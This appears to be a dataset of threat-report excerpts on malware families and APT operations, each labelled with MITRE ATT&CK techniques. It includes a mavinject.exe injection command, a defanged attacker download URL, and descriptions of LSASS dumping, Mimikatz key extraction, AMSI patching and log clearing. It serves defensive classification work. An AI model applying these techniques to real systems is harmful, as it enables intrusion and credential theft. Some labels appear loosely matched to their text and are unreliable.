QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: Elknot, also known as BillGates, a very long live and active ddos botnet which targeted Linux systems and was later ported to the Windows platform[4]。. . Now we see Elknot setting its foot on both platforms for this vulnerability, and sharing the same C2 .
MITRE ATT&CK techniques:
- T1584.005: Compromise Infrastructure - Botnet
Threat description: Janicab’s features also remind us of Powersing’s: the sample contains VM detection based on the MAC address of the machine, looks for malware analysis programs and has familiar antivirus software evasion routines. Janicab also periodically sends screenshot captures of the victim’s desktop to the C&C and appears to enable the execution of arbitrary Python scripts.
MITRE ATT&CK techniques:
- T1059.006: Command and Scripting Interpreter - Python
- T1113: Screen Capture
- T1497: Virtualization/Sandbox Evasion
Threat description: Functionally, Gauss is designed to collect as much information about infected systems as possible, as well as to steal credentials for various banking systems and social network, email and IM accounts. The Gauss code includes commands to intercept data required to work with several Lebanese banks – for instance, Bank of Beirut, Byblos Bank, and Fransabank.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
- T1114: Email Collection
Threat description: GandCrab 2 is far from a merely repackaged GandCrab 1. It contains fixes for several flaws in the original, including one critical encryption flaw that would have trivially allowed a universal decryptor (more on this below).
MITRE ATT&CK techniques:
- T1587.001: Develop Capabilities - Malware
Threat description: The main loader and privilege escalation tool, “autorun.exe” fires up a special dropper, which is actually an Equation Group DoubleFantasy implant installer. The installer is stored as “show.dll” in the “Presentation” folder of the CDROM.
MITRE ATT&CK techniques:
- T1068: Exploitation for Privilege Escalation
Threat description: Unlike the original geacon, Blackrota uses gobfuscate to obfuscate the. source code before compiling. gobfuscate is an open-source tool for Go code. obfuscation, which can obfuscate the following elements of Go source code. with random character substitutions:
MITRE ATT&CK techniques:
- T1001: Data Obfuscation
Threat description: As the Top Twenty shows, DNSChanger is also widespread. There is actually a connection between Zlob and DNSChanger – we believe they were created by the same gang. Although DNSChanger underwent many changes during its lifespan, basically what it does is simply change the DNS servers from the user’s computer to a set of two specific IP addresses. The IP addresses are selected from a huge pool and the variation comes in distributing thousand of different DNSChanger binaries, each one setting the DNS servers to distinct IP addresses. While changing the DNS servers may not be regarded as something seriously malicious, an attacker who achieves this can actually do a lot of harm – for instance, redirecting websites such as Amazon.com or Bank Of America to phishing installations almost entirely without any sign of warning to the user. To complicate removal, the most recent DNSChangers include rootkit components and even download additional malware.
MITRE ATT&CK techniques:
- T1014: Rootkit
Threat description: The group’s arsenal at that point included multiple Trojans and tools for Windows and macOS. In 2015, the actors started to expand their espionage efforts from PCs to mobile devices using the spyware called MobileOrder, which focused on compromising Android devices. Based on the code similarity, shared infrastructure and victimology, we conclude that the new wave of attacks belongs to the same threat actor and that the group continues to deploy and develop MobileOrder malware until this day. In addition to clear code overlaps, we observed multiple overlaps in the infrastructure between the new samples and the old MobileOrder malware variant, as well as multiple variants of Windows Psylo Trojan previously attributed to Scarlet Mimic, that interact with the same malicious domains as the mobile malware.
MITRE ATT&CK techniques:
- T1587.001: Develop Capabilities - Malware
Threat description: The downloader’s process termination starts with killing the DDG Monero miner botnet client if present on the system, followed by a variety of other cryptominers, including other XMRig instances. This behavior is indicative of attempting to secure more host resources from competing miners. The malware also targets services belonging to Qihoo 360, an antivirus service, in order to reduce the chance of detection. However, taskkill is unable to to kill process related to Qihoo 360. Figure 5 shows the processes that the script attempts to terminate.
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
- T1057: Process Discovery
Threat description: The BazarLoader ISO downloaded from the OneDrive link, consists of a malicious DLL and shortcut file named “Documents.lnk” which executes the DLL via rundll32.exe.
MITRE ATT&CK techniques:
- T1218.011: System Binary Proxy Execution - Rundll32
Threat description: The last type of shellcode is a Cobalt Strike stager. We have confirmed the use of several different Cobalt Strike stager shellcodes since October 2019. In addition, some of the observed Cobalt Strike stager samples included a setting in the HTTP header of their malicious communications to disguise them as common jQuery request in order to evade detection by security products.
MITRE ATT&CK techniques:
- T1588.001: Obtain Capabilities - Malware
Threat description: FIN13 rolled many of these reconnaissance efforts into scripts to automate their processes. For example, they used pi.bat to iterate through a list of IP addresses in a file, execute a ping command and write the output to a file (Figure 6). A similar script used dnscmd to export a host’s DNS zones to a file.
MITRE ATT&CK techniques:
- T1059.003: Command and Scripting Interpreter - Windows Command Shell
- T1595.001: Active Scanning - Scanning IP Blocks
Threat description: The injected wermgr.exe process then creates a new folder in the user’s AppData directory. As typically seen in Trickbot infections, it drops a copy of itself into this folder along with its encrypted config (settings.ini) and a batch file (launcher.bat). 
MITRE ATT&CK techniques:
- T1055: Process Injection
Threat description: The dropper extracts the communications and wiper components from resources named “PKCS7” and “PKCS12” respectively, while the x86 sample extracts the x64 variant of Disttrack from a resource named “X509”. To extract the components, the dropper is configured to seek specific offsets within the resource, read a specified number of bytes and decrypt the contents using a specified key. The key exists in the sample as a base64 encoded string that the dropper will decode then use each byte of the resulting string to XOR the data obtained from the resource. When determining the location of the ciphertext within the resource, the dropper subtracts 14 from the offset value in the sample’s configuration as an additional layer of obfuscation. Table 1 shows the resources within the Disttrack x86 sample, the component it contains and the values needed to decrypt its contents.
MITRE ATT&CK techniques:
- T1132: Data Encoding
Threat description: It appears Russian cyber criminals were equally perplexed by the WCry campaign as the rest of the world. One of the members of the popular underground community complained about the recently purchased Virtual Private Server (VPS) which was almost immediately infected by ransomware even before the system update was completed.
MITRE ATT&CK techniques:
- T1584.003: Compromise Infrastructure - Virtual Private Server
Threat description: Cutwail spam levels in the last three months have been significantly lower. The introduction of steganography may suggest that NARWHAL SPIDER has been developing new, innovative methods to evade detection and improve infection rates. Although not commonly used by eCrime actors, steganography has been used for malware delivery in the past, such as the Lurk Downloader and StegoLoader.
MITRE ATT&CK techniques:
- T1001.002: Data Obfuscation - Steganography
- T1027.003: Obfuscated Files or Information - Steganography
Threat description: The malicious library completes malware installation. Specifically, it creates a registry value responsible for automatically running RMS at system startup. Notably, in most cases of this campaign the registry value is placed in the RunOnce key, instead of the Run key, enabling the malware to run automatically only the next time the system starts up. After that, the malware needs to create the registry value again.
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: Last March, we reported a WildPressure campaign targeting industrial-related entities in the Middle East. While tracking this threat actor in spring 2021, we discovered a newer version. It contains the C++ Milum Trojan, a corresponding VBScript variant and a set of modules that include an orchestrator and three plugins. This confirms our previous assumption that there were more last-stagers besides the C++ ones.
MITRE ATT&CK techniques:
- T1587.001: Develop Capabilities - Malware
Threat description: Reaver encrypts this data using an incremental XOR key and uploads it to the configured remote server on the port specified. The following example Python code shows how this encryption takes place:
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: If any of the above files or directories exist, the Windows executable throws an exception and exits. This indicates Redaman checks if it is running in a sandbox or similar type of analysis environment.
MITRE ATT&CK techniques:
- T1497: Virtualization/Sandbox Evasion
Threat description: After opening the doc file (which is again a Web Archive File), the exploit drops and executes the Trojan program “svcmondr.exe” (8052234dcd41a7d619acb0ec9636be0b).
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
Threat description: And finally, a mention of Trojan-Downloader.Win32.CWS.j, another common site on malicious websites. This downloader is basically a small stub which downloads and installs variants of CWS, perhaps better known as CoolWebSearch. CoolWebSearch is a malicious program which was first reported circa 2003. Ever since, a huge number of variants have been found in the wild, most of them following the same pattern of hijacking the browser startup page and displaying pornographic pop-ups. Over time, CWS variants have become more and more complex and the latest versions include rootkit stealth components and retro features designed to terminate antivirus programs.
MITRE ATT&CK techniques:
- T1588.001: Obtain Capabilities - Malware
- T1014: Rootkit
- T1176: Browser Extensions
Threat description: The Russian-speaking APT group Turla (known variously as ‘Snake’, ‘Uroburos’, ‘Venomous Bear’ and ‘KRYPTON’) has been active since at least 2007 (and maybe even longer). Its activities have been traced to many high-profile incidents, including the 2008 attack against the US Central Command (the Buckshot Yankee incident) and, more recently, the attack against the Swiss military contractor, RUAG. We’ve discuss its activities on a number of occasions (here, here, here and here). The group intensified its activities in 2014, targeting Ukraine, EU-related institutions, governments of EU countries, global foreign affairs ministries, media companies and possibly corruption-related targets in Russia. In 2015 and 2016 the group diversified its activities, switching from the Epic Turla watering-hole framework to the Gloog Turla framework, which is still active. The group also expanded its spear-phishing activities with the Skipper/WhiteAtlas attacks, which made use of new malware. Recently, the group has intensified its satellite-based C2 registrations ten-fold compared to the 2015 average.
MITRE ATT&CK techniques:
- T1587.001: Develop Capabilities - Malware
Threat description: Based on posts on an underground forum, we believe that the developer of Chthonic supplies binaries to other cyber-criminals and rents out the C2 infrastructure. Therefore, this distribution of victims likely represents several otherwise unconnected cyber-crime operations.
MITRE ATT&CK techniques:
- T1583: Acquire Infrastructure
- T1588.001: Obtain Capabilities - Malware
Threat description: When the news broke in 2014 about a new sophisticated threat actor dubbed the Turla Group, which the Estonian foreign intelligence service believes has Russian origins and operates on behalf of the FSB, its kernelmode malware also became the first publicly-described case that abused a third-party device driver to disable Driver Signature Enforcement (DSE). This security mechanism was introduced in Windows Vista to prevent unsigned drivers from loading into kernel space. Turla exploited the signed VirtualBox driver, VBoxDrv.sys v1.6.2, to deactivate DSE and load its unsigned payload drivers afterward.
MITRE ATT&CK techniques:
- T1211: Exploitation for Defense Evasion
Threat description: Since December 2017 security researchers have been seeing samples of MS Office documents in spearphishing emails related to the Winter Olympics uploaded to VirusTotal. The documents contained nothing but slightly formatted gibberish to make it look like the text had an encoding problem, encouraging the user to press a button to “Enable Content”.
MITRE ATT&CK techniques:
- T1566.001: Phishing - Spearphishing Attachment
Threat description: Interestingly, the ChChes samples we observed were digitally signed using a certificate originally used by HackingTeam and later part of the data leaked when they were themselves hacked. Wapack labs also observed a similar sample targeting Japan in November. It’s not clear why the attackers chose to use this certificate, as it was old, had been leaked online, and had already been revoked by the time they used it. Digital certificates are typically used because they afford an air of legitimacy, which this one definitely does not.
MITRE ATT&CK techniques:
- T1596.003: Search Open Technical Databases - Digital Certificates
Threat description: The authors of Black Lambert included a couple of very interesting details in the sample, which read as the following: toolType=wl, build=132914, versionName = 2.0.0. Looking for similar samples, we were able to identify another generation of related tools which we called White Lambert. While Black Lambert connects directly to its C&C for instructions, White Lambert is a fully passive, network-driven backdoor.
MITRE ATT&CK techniques:
- T1587.001: Develop Capabilities - Malware
Threat description: In Figure 4, the first DNS query to resolve is. . yFIOr645245444143544544.windows64x[.]com which acts as an initial beacon. The first five characters (yFIOr) are random and have no purpose other than generating random subdomains in order to avoid DNS caching. The next two characters (64) signify the Hex notation of the d request type, which is the request type for the initial beacon as noted in Table 3. The request type is followed by the system specific hostname hardcoded into the sample, which in this case is 5245444143544544 for <REDACTED>.
MITRE ATT&CK techniques:
- T1583.002: Acquire Infrastructure - DNS Server
Threat description: As soon as the proof-of-concept (PoC) for CVE-2020-9054 was made publicly available last month, this vulnerability was promptly abused to infect vulnerable versions of Zyxel network-attached storage (NAS) devices with a new Mirai variant – Mukashi.
MITRE ATT&CK techniques:
- T1588.006: Obtain Capabilities - Vulnerabilities
Threat description: This is exceedingly noisy traffic. Furthermore, Hancitor has demonstrated a noticeable lack of stealth in deploying and using this ping tool. Such an unusual EXE file is easy to notice, especially when the results of its scan are saved as a text file in the same directory.
MITRE ATT&CK techniques:
- T1588.002: Obtain Capabilities - Tool
Threat description: In our previous article, we mentioned since this GPON Vulnerability (CVE-2018-10561, CVE-2018-10562 ) announced, there have been at least five botnets family mettle, muhstik, mirai, hajime, satori actively exploit the vulnerability to build their zombie army in just 10 days.
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
- T1584.005: Compromise Infrastructure - Botnet
- T1588.006: Obtain Capabilities - Vulnerabilities
Threat description: Palo Alto Networks WildFire observed commands provided by the C2 server for the known Helminth samples. The commands, as seen below, show that the threat actors are attempting to do initial information gathering on the system, including available user accounts, username, computer name, running tasks, services, network services and if remote desktop is enabled.
MITRE ATT&CK techniques:
- T1590: Gather Victim Network Information
- T1049: System Network Connections Discovery
- T1082: System Information Discovery
- T1033: System Owner/User Discovery
Threat description: The Wekby group continues to target various high profile organizations using sophisticated malware. The pisloader malware family uses various novel techniques, such as using DNS as a C2 protocol, as well as making use of return-oriented programming and other anti-analysis tactics.
MITRE ATT&CK techniques:
- T1583.002: Acquire Infrastructure - DNS Server
Threat description: While analyzing this intrusion, we observed further persistence via scheduled tasks associated with post-exploitation activities.. . This scheduled task with name HpSupport executed a Cobalt Strike Beacon kaslose64.dll both on the Domain Controller and the File Server:
MITRE ATT&CK techniques:
- T1053: Scheduled Task/Job
- T1053.005: Scheduled Task/Job - Scheduled Task
Threat description: In total Unit 42 has seen over 50 versions of these weaponized documents spanning from late October through to March. We’ve used these to lay out a timeline, which will be referenced throughout the remainder of this blog, of the milestones of evolution that provides some insight into why the changes are made. Note: This figure does not cover all versions seen but simply milestone changes. It does however start with the first version created on October 23rd, last saved 25th October and first seen by our Wildfire cloud sandbox 26th October.
MITRE ATT&CK techniques:
- T1587.001: Develop Capabilities - Malware
Threat description: Throughout the intrusion, the injected Cobalt Strike Processes utilized various named pipes for inter-process communications. Many of these pipes used default Cobalt Strike pipe patterns.
MITRE ATT&CK techniques:
- T1055: Process Injection
Threat description: This update to Emissary allowed the Trojan to run as a service. The configuration now contains settings for the Emissary service, which the Trojan will store in and access from the following registry keys:
MITRE ATT&CK techniques:
- T1574.011: Hijack Execution Flow - Services Registry Permissions Weakness
Threat description: . . The bot will report key information back to the C&C, including the result of the various custom API executions. The first communications include any hard-coded C&C followed by the DGA. Shifu uses RC4 encryption in the network communications. Notably, the key for the samples analyzed by iSIGHT Partners is actually the default RC4 key included with the Crypto library, further suggesting this malware is under development. The following is the key observed:
MITRE ATT&CK techniques:
- T1587.001: Develop Capabilities - Malware
Threat description: Figure 32 shows QUADAGENT issuing DNS requests with incrementing sequence numbers and the C2 providing the session identifier and pre-shared key within the IPv6 answers. The screenshot also shows the Trojan sending a DNS query to notify the C2 that it successfully received the data.
MITRE ATT&CK techniques:
- T1583.002: Acquire Infrastructure - DNS Server
Threat description: For this method, Ransom Cartel uses a tool named ""DonPAPI,"" which can search hosts for DPAPI blobs containing Wi-Fi keys, RDP passwords, and credentials saved in web browsers and then download and decrypt them locally on the machine.
MITRE ATT&CK techniques:
- T1587.001: Develop Capabilities - Malware
Threat description: Using spear-phishing emails that contained malicious Amazon-themed documents, the group targeted an employee of an aerospace company in the Netherlands and a political journalist in Belgium.
MITRE ATT&CK techniques:
- T1566.003: Phishing - Spearphishing via Service
Threat description: It reads and executes commands from a text file stored in Mega cloud storage
MITRE ATT&CK techniques:
- T1530: Data from Cloud Storage
Threat description: BlackLotus claims to come with anti-virtual machine (anti-VM), anti-debug, and code obfuscation features to block malware analysis attempts. The seller also claims that security software cannot detect and kill the bootkit as it runs under the SYSTEM account within a legitimate process.
MITRE ATT&CK techniques:
- T1497: Virtualization/Sandbox Evasion
Threat description: These credentials are then used to compromise Linux ESXi servers and authenticate to their vCenter web interfaces.
MITRE ATT&CK techniques:
- T1199: Trusted Relationship
Threat description: CreepyUp: uploads any file to the C&C server.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: UEFI bootkits are planted in the system firmware and are invisible to security software running within the operating system because the malware loads in the initial stage of the booting sequence.
MITRE ATT&CK techniques:
- T1542.001: Pre-OS Boot - System Firmware
Threat description: During the defense evasion phase, anti-malware and monitoring software is often disabled. Firewall rules have occasionally been seen being disabled as well.
MITRE ATT&CK techniques:
- T1489: Service Stop
Threat description: During the extraction, a JSP webshell is deployed on one of the public directories used by the webmail component. The attacker can browse to the webshell to start executing arbitrary commands on the victim machine.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: Obscure secure messaging client as delivery vehicle for malware and cloak for malicious activity
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: Process Explorer, Process Monitor and PCHunter have been utilized to discover any anti-malware or monitoring software and terminate it.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: By using DoH, attackers can hide DNS queries from C&C domains. If SSL/TLS traffic is not being inspected using man-in-the-middle (MitM) techniques, DNS queries to the C&C server will therefore go unnoticed. 
MITRE ATT&CK techniques:
- T1572: Protocol Tunneling
Threat description: Mailman: communicates with a C&C server to receive commands and writes them to a file. It also sends the file with output from commands to the C&C server.
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: Affiliates have been seen brute forcing exposed RDP services and compromising accounts with weak passwords.
MITRE ATT&CK techniques:
- T1078.003: Valid Accounts - Local Accounts
- T1133: External Remote Services
Threat description: Clears Windows PowerShell and WitnessClientAdmin log file.
MITRE ATT&CK techniques:
- T1070.003: Indicator Removal - Clear Command History
Threat description: Victims receive spear phishing emails with attached malicious zip files - typically password protected or HTML file. That file contains an ISO file.
MITRE ATT&CK techniques:
- T1566.001: Phishing - Spearphishing Attachment
Threat description: Uses wevtutil to clear the Windows event logs.
MITRE ATT&CK techniques:
- T1070.001: Indicator Removal - Clear Windows Event Logs
Threat description: For C&C communication, POLONIUM abuses common cloud services such as Dropbox, OneDrive, and Mega.
MITRE ATT&CK techniques:
- T1136.003: Create Account - Cloud Account
Threat description: The only known method of delivering stolen information to cybercriminals is by sending a ZIP archive to an embedded control center.
MITRE ATT&CK techniques:
- T1102: Web Service
Threat description: The ransomware payload is copied to an Active Directory Domain Controller and deployed to systems using the Default Domain Group Policy Object
MITRE ATT&CK techniques:
- T1570: Lateral Tool Transfer
Threat description: TechnoCreep is a previously undocumented C# backdoor that communicates with a C&C server via TCP sockets. In this case, commands are not read from a file, but received in an exchange of messages
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: It is able to steal autofill information from web browsers, cookies, saved credit cards, browser history, coin wallets and Telegram databases. 
MITRE ATT&CK techniques:
- T1185: Browser Session Hijacking
Threat description: LockBit 2.0 is typically executed via command line arguments via a hidden window. Windows SysInternals PsExec has been utilized for both persistence and execution purposes. Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: The NewsBeef APT previously engaged in long-term, elaborate social engineering schemes that take advantage of popular social network platforms. Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets, and lacks advanced offensive technology development capabilities.
MITRE ATT&CK techniques:
- T1593.001: Search Open Websites/Domains - Social Media
Threat description: Russian state-sponsored APT actors have performed “Kerberoasting,” whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking.
MITRE ATT&CK techniques:
- T1090.003: Proxy - Multi-hop Proxy
- T1558.003: Steal or Forge Kerberos Tickets - Kerberoasting
Threat description: identify configuration settings, exfiltrate data, and to execute other commands.
MITRE ATT&CK techniques:
- T1059.003: Command and Scripting Interpreter - Windows Command Shell
Threat description: BlackMatter may wipe backup systems.
MITRE ATT&CK techniques:
- T1561: Disk Wipe
Threat description: BlackMatter uses srvsvc.NetShareEnumAll MSRPC function to enumerate and SMB to connect to all discovered shares, including ADMIN$, C$, SYSVOL, and NETLOGON.
MITRE ATT&CK techniques:
- T1021.002: Remote Services - SMB/Windows Admin Shares
Threat description: Chinese state-sponsored cyber actors have been assessed to perform reconnaissance on Microsoft® 365 (M365), formerly Office® 365, resources with the intent of further gaining information about the networks. These scans can be automated, through Python® scripts, to locate certain files, paths, or vulnerabilities. The cyber actors can gain valuable information on the victim network, such as the allocated resources, an organization’s fully qualified domain name, IP address space, and open ports to target or exploit.
MITRE ATT&CK techniques:
- T1590: Gather Victim Network Information
- T1595: Active Scanning
Threat description: Chinese state-sponsored cyber actors have been observed using VPSs from cloud service providers that are physically distributed around the world to host malware and function as C2 nodes.
MITRE ATT&CK techniques:
- T1583: Acquire Infrastructure
Threat description: Chinese state-sponsored cyber actors have been observed: gaining credential access into victim networks by using legitimate, but compromised credentials to access OWA servers, corporate login portals, and victim networks.
MITRE ATT&CK techniques:
- T1078.001: Valid Accounts - Default Accounts
- T1078.002: Valid Accounts - Domain Accounts
Threat description: Chinese state-sponsored cyber actors have been observed using Cobalt Strike, webshells, or command line interface tools, such as schtask or crontab to create and schedule tasks that enumerate victim devices and networks.
MITRE ATT&CK techniques:
- T1053.003: Scheduled Task/Job - Cron
- T1053.005: Scheduled Task/Job - Scheduled Task
Threat description: Chinese state-sponsored cyber actors were observed creating a new sign-in policy to bypass MFA requirements to maintain access to the victim network.
MITRE ATT&CK techniques:
- T1556.001: Modify Authentication Process - Domain Controller Authentication
Threat description: Chinese state-sponsored cyber actors have been observed:  Injecting into the rundll32.exe process to hide usage of Mimikatz, as well as injecting into a running legitimate explorer.exe process for lateral movement.  Using shellcode that injects implants into newly created instances of the Service Host process (svchost).
MITRE ATT&CK techniques:
- T1055.001: Process Injection - Dynamic-link Library Injection
- T1055.002: Process Injection - Portable Executable Injection
Threat description: Chinese state-sponsored cyber actors were observed using benign executables which used DLL loadorder hijacking to activate the malware installation process.
MITRE ATT&CK techniques:
- T1564: Hide Artifacts
Threat description: Chinese state-sponsored cyber actors were observed Base64 encoding files and command strings to evade security measures.
MITRE ATT&CK techniques:
- T1218.005: System Binary Proxy Execution - Mshta
- T1218.011: System Binary Proxy Execution - Rundll32
Threat description: Chinese state-sponsored cyber actors have been observed exploiting Pulse Secure VPN appliances to view and extract valid user credentials and network information from the servers.
MITRE ATT&CK techniques:
- T1212: Exploitation for Credential Access
Threat description: Chinese state-sponsored cyber actors were observed targeting the LSASS process or Active directory (NDST.DIT) for credential dumping.
MITRE ATT&CK techniques:
- T1003.003: OS Credential Dumping - NTDS
- T1003.001: OS Credential Dumping - LSASS Memory
Threat description: Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user. Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.
MITRE ATT&CK techniques:
- T1210: Exploitation of Remote Services
Threat description: Chinese state-sponsored cyber actors have been observed using the mv command to export files into a location, like a compromised Microsoft Exchange, IIS, or emplaced webshell prior to compressing and exfiltrating the data from the target network.
MITRE ATT&CK techniques:
- T1074: Data Staged
Threat description: Chinese state-sponsored cyber actors have been observed using the New-MailboxExportRequest PowerShell cmdlet to export target email boxes.
MITRE ATT&CK techniques:
- T1114: Email Collection
Threat description: Chinese state-sponsored cyber actors have been observed:  Using commercial cloud storage services for command and control.  Using malware implants that use the Dropbox API for C2 and a downloader that downloads and executes a payload using the Microsoft OneDrive API.
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: Chinese state-sponsored cyber actors have been observed using a network of VPSs and small office and home office (SOHO) routers as part of their operational infrastructure to evade detection and host C2 activity. Some of these nodes operate as part of an encrypted proxy service to prevent attribution by concealing their country of origin and TTPs.
MITRE ATT&CK techniques:
- T1090.003: Proxy - Multi-hop Proxy
Threat description: The actors used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144 to gain privileged remote code execution on vulnerable Microsoft Exchange servers. In some cases, this exploitation occurred after valid credentials were identified by password spray, as these vulnerabilities require authentication as a valid user.
MITRE ATT&CK techniques:
- T1190: Exploit Public-Facing Application
Threat description: The actors used a compromised Office 365 service account with Global Administrator privileges to collect email from user inboxes.
MITRE ATT&CK techniques:
- T1078.002: Valid Accounts - Domain Accounts
Threat description: The actors dumped LSASS process memory by using 'rundll32.exe' to execute the MiniDump function exported by the native Windows® DLL 'comsvcs.dll'.
MITRE ATT&CK techniques:
- T1003.001: OS Credential Dumping - LSASS Memory
Threat description: The actors downloaded archives of collected data previously staged on a target's OWA server via HTTPS.
MITRE ATT&CK techniques:
- T1048.002: Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
Threat description: SVR target organisations who supply privileged software to intelligence targets.
MITRE ATT&CK techniques:
- T1195.002: Supply Chain Compromise - Compromise Software Supply Chain
Threat description: The Iranian government-sponsored APT actors may have established new user accounts on domain controllers, servers, workstations, and active directories. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity: Support Help elie WADGUtilityAccount
MITRE ATT&CK techniques:
- T1136.001: Create Account - Local Account
- T1136.002: Create Account - Domain Account
Threat description: The execution of the malicious PuTTY binary resulted in the deployment of a backdoor to the host. The deployed backdoor is an evolution of the malware family Mandiant tracks as AIRDRY.
MITRE ATT&CK techniques:
- T1218: System Binary Proxy Execution
Threat description: In the PuTTY sample discovered on VirusTotal, the malicious code was inserted into the ssh2_userauth_process_queue function (source file: putty-0.77\ssh\userauth2-client.c). The code resides in the part of the function responsible for performing password authentication, as opposed to other methods such as keyboard-interactive authentication or public key. Once the user establishes a connection and enters their username and password, the malicious code is executed regardless of the authentication result.
MITRE ATT&CK techniques:
- T1480: Execution Guardrails
Threat description: Commands passed as arguments into e.py were also seen being executed by the targeted Windows guest machine, running as a child process under vmtoolsd.exe. This execution chain can be seen in Figure 5. The parent binary /bin/rdt was not present on disk but was able to be recovered by dumping the processes memory of the ESXi hypervisor. The python script that sent out commands to the guest machines, e.py, was unable to be recovered.
MITRE ATT&CK techniques:
- T1202: Indirect Command Execution
Threat description: The payload was an AutoIT downloader that retrieved and executed additional PowerShell from hxxps://85.206.161[.]216:8080/HomePage.htm. The follow-on PowerShell profiled the target system’s architecture, downloaded the appropriate variant of PowerSploit (MD5: c326f156657d1c41a9c387415bf779d4 or 0564706ec38d15e981f71eaf474d0ab8), and reflectively loaded PUPYRAT (MD5: 94cd86a0a4d747472c2b3f1bc3279d77 or 17587668AC577FCE0B278420B8EB72AC).
MITRE ATT&CK techniques:
- T1620: Reflective Code Loading
Threat description: BOATLAUNCH is a utility sent from FIN7 POWERPLANT controllers that is used as a helper module during intrusion operations. BOATLAUNCH is used to patch PowerShell processes on infected systems to bypass Windows AntiMalware Scan Interface (AMSI). The malware loops, looking for unpatched PowerShell processes, and for each unpatched process the malware locates and patches amsi.dll!AmsiScanBuffer with a 5-byte instruction sequence to always return S_OK. The technique used to patch AMSI is a variation of publicly described common AMSI bypass techniques. Both 32bit and 64bit variants of BOATLAUNCH have been observed using the following export directory DLL names.
MITRE ATT&CK techniques:
- T1055: Process Injection
Threat description: The actors split collected files into approximately 3 MB chunks located on the Exchange server within the CU2\he\debug directory.
MITRE ATT&CK techniques:
- T1074.002: Data Staged - Remote Data Staging
Threat description: Using mavinject.exe (Microsoft Application Virtualization Injector), it does code injection into explorer.exe with its payload DriverGFY.db. The technique the attacker is using here is Process Injection in the Mitre ATT&CK Framework. The command executed at runtime for doing code injection is shown below: C:\Windows\System32\cmd.exe" /c mavinject.exe 568 /injectrunning c:\Drivers\DriverGFY.db"
MITRE ATT&CK techniques:
- T1218.013: System Binary Proxy Execution - Mavinject
Threat description: The script queries WMI to list all the explorer.exe processes, where it will try to inject the malicious payload. For the injection, the attackers used Mavinject (a legitimate Windows component that can be used and abused) to perform arbitrary code injections inside any running process. Mavinject.exe has been abused for several years, as indicated in this blog from 2017.
MITRE ATT&CK techniques:
- T1218.013: System Binary Proxy Execution - Mavinject
Threat description: Raspberry Robin leverages rundll32.exe followed by shell32.dll and calls the ShellExec_RunDLL or ShellExec_RunDLLA functions to execute the DLL via the processes such as odbcconf.exe, msiexec.exe and control.exe.
MITRE ATT&CK techniques:
- T1218.002: System Binary Proxy Execution - Control Panel
- T1218.008: System Binary Proxy Execution - Odbcconf
- T1218.007: System Binary Proxy Execution - Msiexec
- T1218.011: System Binary Proxy Execution - Rundll32
Threat description: Compiled HTML File (CHM) are commonly Microsoft help files. These file will be a compiled HTML files that includes documents , image , scripts etc. Hackers will abuse these files to embed malicious payload with CHM files. CHM files can be executed by HH.exe , which is a Microsoft windows utility. Adversaries use this techniques to evade AV or application blacklisting techniques.
MITRE ATT&CK techniques:
- T1218: System Binary Proxy Execution
Threat description: When users run the malicious CHM file, the HTM file’s code is executed. The script decompiles the CHM file through hh.exe and runs LBTWiz32.exe. It then creates a normal image file (KBSI_SNS_003.jpg) on the PC screen, making it difficult for users to recognize malicious behaviors.
MITRE ATT&CK techniques:
- T1218: System Binary Proxy Execution
Threat description: LBTWiz32.exe that is run is a normal program. However, the malicious DLL (LBTServ.dll) created on the same path through DLL hijacking is loaded and starts operating. The malicious DLL creates and executes a malicious VBE file (ReVBShell) in the %TEMP% folder. Figures 2 to 4 show parts of the decoded VBE code.
MITRE ATT&CK techniques:
- T1574: Hijack Execution Flow
Threat description: If an attacker has domain admin permissions, he can steal the DC backup key and as a result, decrypt all the domain users’ master keys. The Mimikatz module allowing to extract the domain backup key is lsadump::backupkeys. This module first calls the API functions LsaOpenPolicy with POLICY_GET_PRIVATE_INFORMATION as the DesiredAccess argument, so it will be able to call the function LsaRetrievePrivateData after-
MITRE ATT&CK techniques:
- T1207: Rogue Domain Controller
Threat description: The Nefilim ransomware uses IsDebuggerPresent, CheckRemoteDebuggerPresent, and NtQueryInformationProcess API functions to check if a user-mode debugger is running. Debuggers are used by security analysts to inspect malware’s behavior at the run-time. In the presence of a debugger,  malware samples exhibited less malicious behavior. Moreover, Nefilim uses the NtSetInformationThread API function to evade debugging.
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
Threat description: The Nefilim ransomware downloads the Psexec.exe tool, and it also abuses the Windows built-in WMI (Windows Management Instrumentation) utility for lateral movement. PsExec is a free Microsoft tool that can be used to execute commands and binaries on remote systems and download or upload a file over a network share. Nefilim uses PsExec and WMI with hard-coded admin credentials to remotely execute the batch files and the ransomware file in remote hosts.
MITRE ATT&CK techniques:
- T1570: Lateral Tool Transfer
